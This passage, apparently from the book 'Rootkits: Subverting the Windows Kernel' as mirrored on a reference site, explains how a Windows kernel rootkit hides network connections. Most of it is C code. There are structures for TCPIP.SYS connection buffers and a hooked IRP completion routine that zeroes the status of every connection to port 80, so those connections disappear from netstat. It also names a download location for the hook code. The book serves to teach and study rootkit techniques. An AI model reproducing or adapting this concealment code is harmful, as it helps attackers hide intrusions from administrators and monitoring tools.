 #define HTONS(a)  (((0xFF&a)<<8) + ((0xFF00&a)>>8)) // to get a port // Structures of TCP information buffers returned by TCPIP.SYS typedef struct _CONNINFO101 {    unsigned long status;    unsigned long src_addr;    unsigned short src_port;    unsigned short unk1;    unsigned long dst_addr;    unsigned short dst_port;    unsigned short unk2; } CONNINFO101, *PCONNINFO101; typedef struct _CONNINFO102 {    unsigned long status;    unsigned long src_addr;    unsigned short src_port;    unsigned short unk1;    unsigned long dst_addr;    unsigned short dst_port;    unsigned short unk2;    unsigned long pid; } CONNINFO102, *PCONNINFO102; typedef struct _CONNINFO110 {    unsigned long size;    unsigned long status;    unsigned long src_addr;    unsigned short src_port;    unsigned short unk1;    unsigned long dst_addr;    unsigned short dst_port;    unsigned short unk2;    unsigned long pid;    PVOID    unk3[35]; } CONNINFO110, *PCONNINFO110; 

IoCompletionRoutine receives a pointer called Context for which you allocate space in your hook routine. Context is a pointer of type PREQINFO. You will use this to keep track of the type of connection information requested and the original completion routine in the IRP, if any. By parsing the buffer and changing the status value of each structure, you can hide any port you desire. Some of the common status values are as follows:

  • 2 for LISTENING

  • 3 for SYN_SENT

  • 4 for SYN_RECEIVED

  • 5 for ESTABLISHED

  • 6 for FIN_WAIT_1

  • 7 for FIN_WAIT_2

  • 8 for CLOSE_WAIT

  • 9 for CLOSING

If you change the status value to 0 with your rootkit, the port disappears from netstat regardless of the parameters. (For an understanding of the different status values, Stevens's book[9] is an excellent reference.) The following code is an example of a completion routine that hides a connection that was destined for TCP port 80:

[9] W. R. Stevens, TCP/IP Illustrated, Volume 1 (Boston: Addison-Wesley, 1994), pp. 229 60.

 typedef struct _REQINFO {       PIO_COMPLETION_ROUTINE OldCompletion;       unsigned long          ReqType; } REQINFO, *PREQINFO; NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject,                              IN PIRP Irp,                              IN PVOID Context) {    PVOID OutputBuffer;    DWORD NumOutputBuffers;    PIO_COMPLETION_ROUTINE p_compRoutine;    DWORD i;    // Connection status values:    // 0 = Invisible    // 1 = CLOSED    // 2 = LISTENING    // 3 = SYN_SENT    // 4 = SYN_RECEIVED    // 5 = ESTABLISHED    // 6 = FIN_WAIT_1    // 7 = FIN_WAIT_2    // 8 = CLOSE_WAIT    // 9 = CLOSING    // ...    OutputBuffer = Irp->UserBuffer;    p_compRoutine = ((PREQINFO)Context)->OldCompletion;    if (((PREQINFO)Context)->ReqType == 0x101)    {       NumOutputBuffers = Irp->IoStatus.Information /                               sizeof(CONNINFO101);       for(i = 0; i < NumOutputBuffers; i++)       {          // Hide all Web connections          if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 80)             ((PCONNINFO101)OutputBuffer)[i].status = 0;       }    }    else if (((PREQINFO)Context)->ReqType == 0x102)    {       NumOutputBuffers = Irp->IoStatus.Information /                               sizeof(CONNINFO102);       for(i = 0; i < NumOutputBuffers; i++)       {          // Hide all Web connections          if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 80)             ((PCONNINFO102)OutputBuffer)[i].status = 0;       }    }    else if (((PREQINFO)Context)->ReqType == 0x110)    {       NumOutputBuffers = Irp->IoStatus.Information /                               sizeof(CONNINFO110);       for(i = 0; i < NumOutputBuffers; i++)       {          // Hide all Web connections          if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 80)             ((PCONNINFO110)OutputBuffer)[i].status = 0;       }    }    ExFreePool(Context);    if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))    {       return (p_compRoutine)(DeviceObject, Irp, NULL);    }    else    {       return Irp->IoStatus.Status;    } } 

Rootkit.com

You can find the code for the TCP IRP hook at: www.rootkit.com/vault/fuzen_op/TCPIRPHook.zip


     < Day Day Up > 


    Rootkits(c) Subverting the Windows Kernel
    Rootkits: Subverting the Windows Kernel
    ISBN: 0321294319
    EAN: 2147483647
    Year: 2006
    Pages: 111

    flylib.com © 2008-2017.
    If you may any questions please contact us: flylib@qtcs.net